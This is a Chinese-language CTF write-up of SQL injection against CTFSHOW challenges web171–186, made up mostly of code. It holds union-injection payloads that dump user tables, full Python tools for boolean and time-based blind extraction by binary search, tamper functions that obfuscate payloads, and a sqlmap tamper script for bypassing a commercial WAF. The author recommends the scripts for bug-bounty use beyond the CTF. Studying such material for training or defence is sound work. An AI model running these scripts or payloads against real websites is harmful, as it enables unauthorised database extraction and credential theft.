各类型数据库sql注入payload大全
柯大佬的mysql_sql注入笔记
柯大佬的其它数据库_sql注入笔记
各种WAF绕过手法学习

WAF绕过总结

[CTFSHOW]Mysql_SQL注入

web171联合注入

——————————————————————————————————只会用sqlmap是没有灵魂的
从回显内容上来看，SQL注入只分为联合注入，报错注入，盲注，堆叠注入。1，联合注入
联合注入是使用了union select联合查询，通常用来拼接在where后面，如下。
sql语句为。

  1. select * from news where id = $id;
  2. #闭合
  3. select * from news where id = 1' and 1=1 --
  4. select * from news where id = 1 order by 4
  5. select * from news where id = -1 union select 1,2,3,4
  6. select * from news where id = -1 union select user(),2,3,4

进而爆库，表，列，值。

  1. #爆全部库
  2. select * from news where id = -1 union select database(),2,3,4
  3. # 查当前数据库
  4. select * from news where id = -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
  5. # 查列名
  6. select * from news where id = -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
  7. # 查字段
  8. select * from news where id = -1 union select id,username,password from ctfshow_user --+

联合注入的优势是自带多个显位，可以很快爆出数据，缺点是只能用在select最后处，后面如果还有sql语句就必须注释掉。而且必须用到union和select，很容易被拦截。

web172~173查得的不得含flag,解hex ,base64

尝试编码很多:hex ,base64…

  1. -1' union select to_base64(username),hex(password) from ctfshow_user2 --+

hex在线解码网址，点我

web174布尔盲注二分法常用脚本

直接脚本跑,二分法比普通的快多了，可抽取对应的函数跑对应内容，绕狗时加tamper或自行改payload即可，挖src时很多时候sqlamp没法跑，这脚本相对灵活,主要注释多//0.0

  1. # @Author:challenger
  2. import requests
  3. import optparse
  5. # 存放数据库名变量
  6. DBName = ""
  7. # 存放数据库表变量
  8. DBTables = []
  9. # 存放数据库字段变量
  10. DBColumns = []
  11. # 存放数据字典变量,键为字段名，值为字段数据列表
  12. DBData = {}
  13. # 设置重连次数以及将连接改为短连接
  14. # 防止因为HTTP连接数过多导致的 Max retries exceeded with url
  15. requests.adapters.DEFAULT_RETRIES = 5
  16. conn = requests.session()
  17. conn.keep_alive = False
  18. # 若页面返回真，则会出现admin
  19. flag = "admidddn"
  20. #返回的Content-Length:
  21. Length=102
  23. #payload的替换
  24. def tamper(payload):
  25.     tamp={" ":"/**/",
  26.           "select":"sElect"}
  27.     for k,v in tamp.items():
  28.          payload = payload.replace(k, v)
  29.     return payload
  31. # 盲注主函数
  32. def StartSqli(url):
  33.     GetDBName(url)
  34.     print("[+]当前数据库名:{0}".format(DBName))
  35.     GetDBTables(url, DBName)
  36.     print("[+]数据库{0}的表如下:".format(DBName))
  37.     for item in range(len(DBTables)):
  38.         print("(" + str(item + 1) + ")" + DBTables[item])
  39.     tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
  40.     GetDBColumns(url, DBName, DBTables[tableIndex])
  41.     while True:
  42.         print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
  43.         for item in range(len(DBColumns)):
  44.             print("(" + str(item + 1) + ")" + DBColumns[item])
  45.         columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):")) - 1
  46.         if (columnIndex == -1):
  47.             break
  48.         else:
  49.             GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])
  52. # 获取数据库名函数
  53. def GetDBName(url):
  54.     # 引用全局变量DBName,用来存放网页当前使用的数据库名
  55.     global DBName
  56.     print("[-]开始获取数据库名长度")
  57.     # 保存数据库名长度变量
  58.     DBNameLen = 0
  59.     # 用于检查数据库名长度的payload
  60.     payload = "' and if(length(database())={0},1,0) %23"
  61.     payload = tamper(payload)
  62.     # 把URL和payload进行拼接得到最终的请求URL
  63.     targetUrl = url + payload
  64.     # 用for循环来遍历请求，得到数据库名长度
  65.     for DBNameLen in range(1, 99):
  66.         # 对payload中的参数进行赋值猜解
  67.         res = conn.get(targetUrl.format(DBNameLen))
  68.         # 判断flag是否在返回的页面中
  69.         if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  70.             print("[+]数据库名长度:" + str(DBNameLen))
  71.             break
  72.     print("[-]开始获取数据库名")
  73.     # a表示substr()函数的截取起始位置
  74.     for i in range(1, DBNameLen + 1):
  75.         # b表示33~127位ASCII中可显示字符
  76.             low = 32
  77.             high = 128
  78.             while low < high:
  79.                 mid = (low + high) // 2
  80.                 content = "database()"  #查询语句
  81.                 payload = f"' and 1=if(ascii(substr(({content}),{i},1))<{mid},1,0)--+"
  82.                 payload = tamper(payload)
  83.                 targetUrl = url + payload
  84.                 res = conn.get(targetUrl)
  85.                 if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  86.                     high = mid
  87.                 else:
  88.                     low = mid + 1
  89.             if low == high == 32:
  90.                 print("[-]"+"No  result")
  91.                 break
  92.             DBName += chr((high + low - 1) // 2)
  93.             print("[+]"+str(DBName))
  96. # 获取数据库表函数
  97. def GetDBTables(url, dbname):
  98.     global DBTables
  99.     # 存放数据库表数量的变量
  100.     DBTableCount = 0
  101.     print("[-]开始获取{0}数据库表数量:".format(dbname))
  102.     # 获取数据库表数量的payload
  103.     payload = "' and 1=if((select  COUNT(table_name) from information_schema.tables where table_schema='{0}')={1},1,0) %23"
  104.     payload = tamper(payload)
  105.     targetUrl = url + payload
  106.     # 开始遍历获取数据库表的数量
  107.     for DBTableCount in range(1, 99):
  108.         res = conn.get(targetUrl.format(dbname, DBTableCount))
  109.         if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  110.             print("[+]{0}数据库的表数量为:{1}".format(dbname, DBTableCount))
  111.             break
  112.     print("[-]开始获取{0}数据库的表".format(dbname))
  113.     # 遍历表名时临时存放表名长度变量
  114.     tableLen = 0
  115.     # a表示当前正在获取表的索引
  116.     for a in range(0, DBTableCount):
  117.         print("[-]正在获取第{0}个表名".format(a + 1))
  118.         # 先获取当前表名的长度
  119.         for tableLen in range(1, 99):
  120.             payload = "' and 1=if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
  121.             payload = tamper(payload)
  122.             targetUrl = url + payload
  123.             res = conn.get(targetUrl.format(dbname, a, tableLen))
  124.             if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  125.                 break
  126.         # 开始获取表名
  127.         # 临时存放当前表名的变量
  128.         table = ""
  129.         # b表示当前表名猜解的位置
  130.         for b in range(1, tableLen + 1):
  131.             low = 32
  132.             high = 128
  133.             while low < high:
  134.                 mid = (low + high) // 2
  135.                 payload = f"' and 1=if(ascii(substr((select table_name from information_schema.tables where table_schema='{dbname}' limit {a},1),{b},1))<{mid},1,0) --+"
  136.                 payload = tamper(payload)
  137.                 targetUrl = url +payload
  138.                 res = conn.get(targetUrl)
  139.                 if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  140.                     high = mid
  141.                 else:
  142.                     low = mid + 1
  143.             if low == high == 32:
  144.                 print("[-] No  result")
  145.                 break
  146.             table += chr((high + low - 1) // 2)
  147.             print("[+]"+str(table))
  148.         # 把获取到的名加入到DBTables
  149.         DBTables.append(table)
  150.         # 清空table，用来继续获取下一个表名
  151.         table = ""
  154. # 获取数据库表的字段函数
  155. def GetDBColumns(url, dbname, dbtable):
  156.     global DBColumns
  157.     # 存放字段数量的变量
  158.     DBColumnCount = 0
  159.     print("[-]开始获取{0}数据表的字段数:".format(dbtable))
  160.     for DBColumnCount in range(99):
  161.         payload = "' and 1=if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
  162.         payload = tamper(payload)
  163.         targetUrl = url + payload
  164.         res = conn.get(targetUrl.format(dbname, dbtable, DBColumnCount))
  165.         if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  166.             print("[-]{0}数据表的字段数为:{1}".format(dbtable, DBColumnCount))
  167.             break
  168.     # 开始获取字段的名称
  169.     # 保存字段名的临时变量
  170.     column = ""
  171.     # a表示当前获取字段的索引
  172.     for a in range(0, DBColumnCount):
  173.         print("[-]正在获取第{0}个字段名".format(a + 1))
  174.         # 先获取字段的长度
  175.         for columnLen in range(99):
  176.             payload = "' and 1=if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
  177.             payload = tamper(payload)
  178.             targetUrl = url + payload
  179.             res = conn.get(targetUrl.format(dbname, dbtable, a, columnLen))
  180.             if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  181.                 break
  182.         # b表示当前字段名猜解的位置
  183.         for b in range(1, columnLen + 1):
  184.             low = 32
  185.             high = 128
  186.             while low < high:
  187.                 mid = (low + high) // 2
  188.                 payload =f"' and 1=if(ascii(substr((select column_name from information_schema.columns where table_schema='{dbname}' and table_name='{dbtable}' limit {a},1),{b},1))<{mid},1,0) %23"
  189.                 payload = tamper(payload)
  190.                 targetUrl = url + payload
  191.                 res = conn.get(targetUrl)
  192.                 if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  193.                     high = mid
  194.                 else:
  195.                     low = mid + 1
  196.             if low == high == 32:
  197.                 print("[-] No  result")
  198.                 break
  199.             column += chr((high + low - 1) // 2)
  200.             print("[+]" + str(column))
  201.         # 把获取到的名加入到DBColumns
  202.         DBColumns.append(column)
  203.         # 清空column，用来继续获取下一个字段名
  204.         column = ""
  207. # 获取字段下内容数据函数
  208. def GetDBData(url, dbtable, dbcolumn):
  209.     global DBData
  210.     # 先获取字段数据数量
  211.     DBDataCount = 0
  212.     print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
  213.     for DBDataCount in range(99):
  214.         payload = "' and 1=if((select count({0}) from {1})={2},1,0)  %23"
  215.         payload = tamper(payload)
  216.         targetUrl = url + payload
  217.         res = conn.get(targetUrl.format(dbcolumn, dbtable, DBDataCount))
  218.         if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  219.             print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
  220.             break
  221.     for a in range(0, DBDataCount):
  222.         print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a + 1))
  223.         # 先获取这个数据的长度
  224.         dataLen = 0
  225.         for dataLen in range(99):
  226.             payload = "' and 1=if((select length({0}) from {1} limit {2},1)={3},1,0)  %23"
  227.             payload = tamper(payload)
  228.             targetUrl = url + payload
  229.             res = conn.get(targetUrl.format(dbcolumn, dbtable, a, dataLen))
  230.             if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  231.                 print("[-]第{0}个数据长度为:{1}".format(a + 1, dataLen))
  232.                 break
  233.         # 临时存放数据内容变量
  234.         data = ""
  235.         # 开始获取数据的具体内容
  236.         # b表示当前数据内容猜解的位置
  237.         for b in range(1, dataLen + 1):
  238.             low = 32
  239.             high = 128
  240.             while low < high:
  241.                 mid = (low + high) // 2
  242.                 payload = f"' and 1=if(ascii(substr((select {dbcolumn} from {dbtable} limit {a},1),{b},1))<{mid},1,0)  %23"
  243.                 payload = tamper(payload)
  244.                 targetUrl = url + payload
  245.                 res = conn.get(targetUrl)
  246.                 if (flag in res.content.decode("utf-8")) or (len(res.content) == Length):
  247.                     high = mid
  248.                 else:
  249.                     low = mid + 1
  250.             if low == high == 32:
  251.                 print("[-] No  result")
  252.                 break
  253.             data += chr((high + low - 1) // 2)
  254.             print("[+]" + str(data))
  255.         # 放到以字段名为键，值为列表的字典中存放
  256.         DBData.setdefault(dbcolumn, []).append(data)
  257.         print(DBData)
  258.         # 把data清空来，继续获取下一个数据
  259.         data = ""
  264. if __name__ == '__main__':
  265.     """parser = optparse.OptionParser('usage: python %prog -u url \n\n'
  266.                                    'Example: python %prog -u http://192.168.61.1/sql/Less-8/?id=1\n')
  267.     # 目标URL参数-u
  268.     parser.add_option('-u', '--url', dest='targetURL', default='http://127.0.0.1/sql/Less-8/?id=1', type='string',
  269.                       help='target URL')
  270.     (options, args) = parser.parse_args()
  271.     StartSqli(options.targetURL)"""
  272.     targetURL="http://98c61897-966c-4bd7-83cd-15af8904f807.challenge.ctf.show:8080/api/v4.php?id=1"
  273.     StartSqli(targetURL)

最后字段跑全部太鸡肋，建议退出，用这里的

常用单个布尔盲注二分法：

  1. import requests
  3. url = "http://1b72b797-7c95-4d80-a914-91cef1de3acf.challenge.ctf.show:8080/api/v4.php?id=1' and 1="
  5. flag = ""
  6. for i in range(1,100):
  7.     low = 32
  8.     high = 128
  9.     while low < high:
  10.         mid = (low + high)//2
  11.         content = "select  password from ctfshow_user4 limit 24,1"
  12.         sql = f"if(ascii(substr(({content}),{i},1))<{mid},1,0)--+"
  13.         url2 = url+sql
  14.         #print(url2)
  15.         r = requests.get(url2)
  16.         if "admin" in r.text:#len(r.content) == 50811:
  17.             high = mid
  18.         else:
  19.             low = mid + 1
  20.     if low == high == 32:
  21.         print("No  result")
  22.         break
  23.     flag += chr((high + low - 1)//2)
  24.     print(flag)

web175时间盲注二分法常用脚本

  1. # @Author:challenger
  2. #!/usr/bin/python3
  3. # -*- coding: utf-8 -*-
  5. import requests
  6. import optparse
  7. import time
  9. # 存放数据库名变量
  10. DBName = ""
  11. # 存放数据库表变量
  12. DBTables = []
  13. # 存放数据库字段变量
  14. DBColumns = []
  15. # 存放数据字典变量,键为字段名，值为字段数据列表
  16. DBData = {}
  18. # 设置重连次数以及将连接改为短连接
  19. # 防止因为HTTP连接数过多导致的 Max retries exceeded with url
  20. requests.adapters.DEFAULT_RETRIES = 5
  21. conn = requests.session()
  22. conn.keep_alive = False
  23. #延迟时间
  24. t=1
  25. #payload的替换
  26. def tamper(payload):
  27.     tamp={" ":"/**/",
  28.           "select":"sElect"}
  29.     for k,v in tamp.items():
  30.          payload = payload.replace(k, v)
  31.     return payload
  33. # 盲注主函数
  34. def StartSqli(url):
  35.     GetDBName(url)
  36.     print("[+]当前数据库名:{0}".format(DBName))
  37.     GetDBTables(url, DBName)
  38.     print("[+]数据库{0}的表如下:".format(DBName))
  39.     for item in range(len(DBTables)):
  40.         print("(" + str(item + 1) + ")" + DBTables[item])
  41.     tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
  42.     GetDBColumns(url, DBName, DBTables[tableIndex])
  43.     while True:
  44.         print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
  45.         for item in range(len(DBColumns)):
  46.             print("(" + str(item + 1) + ")" + DBColumns[item])
  47.         columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):")) - 1
  48.         if (columnIndex == -1):
  49.             break
  50.         else:
  51.             GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])
  54. # 获取数据库名函数
  55. def GetDBName(url):
  56.     # 引用全局变量DBName,用来存放网页当前使用的数据库名
  57.     global DBName
  58.     print("[-]开始获取数据库名长度")
  59.     # 保存数据库名长度变量
  60.     DBNameLen = 0
  61.     # 用for循环来遍历请求，得到数据库名长度
  62.     for DBNameLen in range(1, 99):
  63.         # 用于检查数据库名长度的payload
  64.         payload = f"' and if(length(database())={DBNameLen},sleep({t}),0) %23"
  65.         payload = tamper(payload)
  66.         # 把URL和payload进行拼接得到最终的请求URL
  67.         targetUrl = url + payload
  68.         # 开始时间
  69.         timeStart = time.time()
  70.         # 开始访问
  71.         a = conn.get(targetUrl)
  72.         # 结束时间
  73.         timeEnd = time.time()
  74.         # 判断时间差
  75.         if timeEnd - timeStart >= t:
  76.             print("[+]数据库名长度:" + str(DBNameLen))
  77.             break
  78.     print("[-]开始获取数据库名")
  79.     # a表示substr()函数的截取起始位置
  80.     for a in range(1, DBNameLen + 1):
  81.         # 33~127位ASCII中可显示字符
  82.         low = 32
  83.         high = 128
  84.         while low < high:
  85.             mid = (low + high) // 2
  86.             content = "database()"  #查询语句
  87.             payload = f"' and if(ascii(substr(({content}),{a},1))<{mid},sleep({t}),0)--+"
  88.             payload = tamper(payload)
  89.             targetUrl = url + payload
  90.             timeStart = time.time()
  91.             res = conn.get(targetUrl)
  92.             timeEnd = time.time()
  93.             if timeEnd - timeStart >= t:
  94.                 high = mid
  95.             else:
  96.                 low = mid + 1
  97.         if low == high == 32:
  98.             print("[-] No  result")
  99.             break
  100.         DBName += chr((high + low - 1) // 2)
  101.         print("[+]"+DBName)
  104. def GetDBTables(url, dbname):
  105.     global DBTables
  106.     # 存放数据库表数量的变量
  107.     DBTableCount = 0
  108.     print("[-]开始获取{0}数据库表数量:".format(dbname))
  109.     # 开始遍历获取数据库表的数量
  110.     for DBTableCount in range(1, 99):
  111.         # 获取数据库表数量的payload
  112.         payload = f"' and if((select count(table_name) from information_schema.tables where table_schema='{dbname}' )={DBTableCount},sleep({t}),0) %23"
  113.         payload = tamper(payload)
  114.         targetUrl = url + payload
  115.         timeStart = time.time()
  116.         res = conn.get(targetUrl)
  117.         timeEnd = time.time()
  118.         if timeEnd - timeStart >= t:
  119.             print("[+]{0}数据库的表数量为:{1}".format(dbname, DBTableCount))
  120.             break
  121.     print("[-]开始获取{0}数据库的表".format(dbname))
  122.     # 遍历表名时临时存放表名长度变量
  123.     tableLen = 0
  124.     # a表示当前正在获取表的索引
  125.     for a in range(0, DBTableCount):
  126.         print("[-]正在获取第{0}个表名".format(a + 1))
  127.         # 先获取当前表名的长度
  128.         for tableLen in range(1, 99):
  129.             payload = f"' and if((select length(table_name) from information_schema.tables where table_schema='{dbname}' limit {a},1)={tableLen},sleep({t}),0) %23"
  130.             payload = tamper(payload)
  131.             targetUrl = url + payload
  132.             timeStart = time.time()
  133.             res = conn.get(targetUrl)
  134.             timeEnd = time.time()
  135.             if timeEnd - timeStart >= t:
  136.                 print("[+]第{0}个表的长度:{1}".format(a+1, tableLen))
  137.                 break
  138.         # 开始获取表名
  139.         # 临时存放当前表名的变量
  140.         table = ""
  141.         # b表示当前表名猜解的位置
  142.         for b in range(1, tableLen + 1):
  143.             # 33~127位ASCII中可显示字符
  144.             low = 32
  145.             high = 128
  146.             while low < high:
  147.                 mid = (low + high) // 2
  148.                 payload=f"' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{dbname}' limit {a},1),{b},1))<{mid},sleep({t}),0) --+"
  149.                 payload = tamper(payload)
  150.                 targetUrl = url + payload
  151.                 timeStart = time.time()
  152.                 res = conn.get(targetUrl)
  153.                 timeEnd = time.time()
  154.                 if timeEnd - timeStart >= t:
  155.                     high = mid
  156.                 else:
  157.                     low = mid + 1
  158.             if low == high == 32:
  159.                 print("[-] No  result")
  160.                 break
  161.             table += chr((high + low - 1) // 2)
  162.             print("[+]" + table)        # 把获取到的名加入到DBTables
  163.         DBTables.append(table)
  164.         # 清空table，用来继续获取下一个表名
  165.         table = ""
  168. # 获取数据库表的字段函数
  169. def GetDBColumns(url, dbname, dbtable):
  170.     global DBColumns
  171.     # 存放字段数量的变量
  172.     DBColumnCount = 0
  173.     print("[-]开始获取{0}数据表的字段数:".format(dbtable))
  174.     for DBColumnCount in range(99):
  175.         payload = f"' and if((select count(column_name) from information_schema.columns where table_schema='{dbname}' and table_name='{dbtable}')={DBColumnCount},sleep({t}),0) --+"
  176.         payload = tamper(payload)
  177.         targetUrl = url + payload
  178.         timeStart = time.time()
  179.         res = conn.get(targetUrl)
  180.         timeEnd = time.time()
  181.         if timeEnd - timeStart >= t:
  182.             print("[-]{0}数据表的字段数为:{1}".format(dbtable, DBColumnCount))
  183.             break
  184.     # 开始获取字段的名称
  185.     # 保存字段名的临时变量
  186.     column = ""
  187.     # a表示当前获取字段的索引
  188.     for a in range(0, DBColumnCount):
  189.         print("[-]正在获取第{0}个字段名".format(a + 1))
  190.         # 先获取字段的长度
  191.         for columnLen in range(99):
  192.             payload = f"' and if((select length(column_name) from information_schema.columns where table_schema='{dbname}' and table_name='{dbtable}' limit {a},1)={columnLen},sleep({t}),0) %23"
  193.             payload = tamper(payload)
  194.             targetUrl = url + payload
  195.             timeStart = time.time()
  196.             res = conn.get(targetUrl)
  197.             timeEnd = time.time()
  198.             if timeEnd - timeStart >= t:
  199.                 break
  200.         # b表示当前字段名猜解的位置
  201.         for b in range(1, columnLen + 1):
  202.             # 33~127位ASCII中可显示字符
  203.             low = 32
  204.             high = 128
  205.             while low < high:
  206.                 mid = (low + high) // 2
  207.                 payload = f"' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{dbname}' and table_name='{dbtable}' limit {a},1),{b},1))<{mid},sleep({t}),0) %23"
  208.                 payload = tamper(payload)
  209.                 targetUrl = url + payload
  210.                 timeStart = time.time()
  211.                 res = conn.get(targetUrl)
  212.                 timeEnd = time.time()
  213.                 if timeEnd - timeStart >= t:
  214.                     high = mid
  215.                 else:
  216.                     low = mid + 1
  217.             if low == high == 32:
  218.                 print("[-] No  result")
  219.                 break
  220.             column += chr((high + low - 1) // 2)
  221.             print("[+]" + column)
  222.         # 把获取到的名加入到DBColumns
  223.         DBColumns.append(column)
  224.         # 清空column，用来继续获取下一个字段名
  225.         column = ""
  227. # 获取表数据函数
  228. def GetDBData(url, dbtable, dbcolumn):
  229.     global DBData
  230.     # 先获取字段数据数量
  231.     DBDataCount = 0
  232.     print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
  233.     for DBDataCount in range(99):
  234.         payload = f"' and if((select count({dbcolumn}) from {dbtable})={DBDataCount},sleep({t}),0) %23"
  235.         payload = tamper(payload)
  236.         targetUrl = url + payload
  237.         timeStart = time.time()
  238.         res = conn.get(targetUrl)
  239.         timeEnd = time.time()
  240.         if timeEnd - timeStart >= t:
  241.             print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
  242.             break
  243.     for a in range(0, DBDataCount):
  244.         print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a + 1))
  245.         # 先获取这个数据的长度
  246.         dataLen = 0
  247.         for dataLen in range(99):
  248.             payload = f"'and  if((select length({dbcolumn}) from {dbtable} limit {a},1)={dataLen},sleep({t}),0) %23"
  249.             payload = tamper(payload)
  250.             targetUrl = url + payload
  251.             timeStart = time.time()
  252.             res = conn.get(targetUrl)
  253.             timeEnd = time.time()
  254.             if timeEnd - timeStart >= t:
  255.                 print("[-]第{0}个数据长度为:{1}".format(a + 1, dataLen))
  256.                 break
  257.         # 临时存放数据内容变量
  258.         data = ""
  259.         # 开始获取数据的具体内容
  260.         # b表示当前数据内容猜解的位置
  261.         for b in range(1, dataLen + 1):
  262.                 # 33~127位ASCII中可显示字符
  263.                 low = 32
  264.                 high = 128
  265.                 while low < high:
  266.                     mid = (low + high) // 2
  267.                     payload = f"' and  if(ascii(substr((select {dbcolumn} from {dbtable} limit {a},1),{b},1))<{mid},sleep({t}),0) %23"
  268.                     payload = tamper(payload)
  269.                     targetUrl = url + payload
  270.                     timeStart = time.time()
  271.                     res = conn.get(targetUrl)
  272.                     timeEnd = time.time()
  273.                     if timeEnd - timeStart >= t:
  274.                         high = mid
  275.                     else:
  276.                         low = mid + 1
  277.                 if low == high == 32:
  278.                     print("[-] No  result")
  279.                     break
  280.                 data += chr((high + low - 1) // 2)
  281.                 print("[+]" + data)
  282.                 # 放到以字段名为键，值为列表的字典中存放
  283.         DBData.setdefault(dbcolumn, []).append(data)
  284.         print(DBData)
  285.         # 把data清空来，继续获取下一个数据
  286.         data = ""
  289. if __name__ == '__main__':
  290.     """parser = optparse.OptionParser('usage: python %prog -u url \n\n'
  291.                                    'Example: python %prog -u http://192.168.61.1/sql/Less-9/?id=1\n')
  292.     # 目标URL参数-u
  293.     parser.add_option('-u', '--url', dest='targetURL', default='http://127.0.0.1/sql/Less-9/?id=1', type='string',
  294.                       help='target URL')
  295.     (options, args) = parser.parse_args()
  296.     StartSqli(options.targetURL)"""
  297.     targetURL="http://63f814d1-a667-4c0e-b113-e4075ac7bf92.challenge.ctf.show:8080/api/v5.php?id=1"
  298.     StartSqli(targetURL)

最后字段跑全部太鸡肋，建议退出，用这里的

常用单个时间盲注二分法：

  1. import time
  2. import requests
  4. url = "http://f9e8506c-c20b-45ca-88dd-194108d8f581.challenge.ctf.show:8080/api/v5.php?id=1' and "
  6. flag = ""
  7. for i in range(1,100):
  8.     low = 32
  9.     high = 128
  10.     while low < high:
  11.         mid = (low + high)//2
  12.         content = "select  password from ctfshow_user5 limit 24,1"
  13.         sql = f"if(ascii(substr(({content}),{i},1))<{mid},sleep(1),0)--+"
  14.         url2 = url+sql
  15.         timeStart = time.time()
  16.         r = requests.get(url2)
  17.         timeEnd = time.time()
  18.         if timeEnd - timeStart >= 1: #"admin" in r.text:#len(r.content) == 50811:
  19.             high = mid
  20.         else:
  21.             low = mid + 1
  22.     if low == high == 32:
  23.         print("No  result")
  24.         break
  25.     flag += chr((high + low - 1)//2)
  26.     print(flag)

web176~179联合注入大小写，空格*过滤

联合注入，直接替换即可
如：1’//union//select//password,1,1//from//ctfshow_user//where//username//=’flag’%23

  1.  #payload的替换
  2. def tamper(payload):
  3.     tamp={" ":"/**/",#web177
  4.        "select":"sElect",#web176,
  5.        " ":"%09",#web178
  6.        " ":"%0c",#web179
  7.       }
  8.     for k,v in tamp.items():
  9.          payload = payload.replace(k, v)
  10.     return payload

web180~182把所有空格都过滤了：

y4大佬的payload：

  1. id=-1'or(id=26)and'1'='1

web183
web184
web185~186

  1. import re
  2. import os
  4. from lib.core.data import kb
  5. from lib.core.enums import PRIORITY
  6. from lib.core.common import singleTimeWarnMessage
  7. from lib.core.enums import DBMS
  8. __priority__ = PRIORITY.LOW
  10. def dependencies():
  11.     singleTimeWarnMessage("Bypass yunsuo by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
  13. def tamper(payload, **kwargs):
  15.         payload=payload.replace(" ","  ",1)
  16.         payload=payload.replace("  AND"," REGEXP \"[...%252523]\" and",1)
  17.         payload=re.sub(r'(ORDER BY \d+)', "x", payload)
  18.         payload=payload.replace("UNION"," REGEXP \"[...%252523]\" union",1)
  19.         payload=payload.replace("(SELECT (CASE WHEN ("," REGEXP \"[...%252523]\" (SELECT (CASE WHEN (",1)
  20.         payload=payload.replace("  AS "," REGEXP \"[...%252523]\" as ",1)
  21.         payload=payload.replace(" OR "," REGEXP \"[...%252523]\" or ",1)
  22.         payload=payload.replace("  WHERE "," REGEXP \"[...%252523]\" where ",1)
  23.         payload=payload.replace("HIGH_RISK_OPERATION:0"," REGEXP \"[...%252523]\"  ",1)
  24.         payload=payload.replace(";","; REGEXP \"[...%252523]\"  HTGH",1)
  25.         payload=payload.replace("||","; || REGEXP \"[...%252523]\" ",1)
  26.         payload=payload.replace("THEN"," THEN REGEXP \"[...%252523]\" ",1)
  27.         payload=payload.replace("  IN"," REGEXP \"[...%252523]\"  IN ",1)
  28.         payload=payload.replace("+"," REGEXP \"[...%252523]\"  + ",1)
  29.         payload=payload.replace("WHEN"," REGEXP \"[...%252523]\"   ",1)
  30.         return payload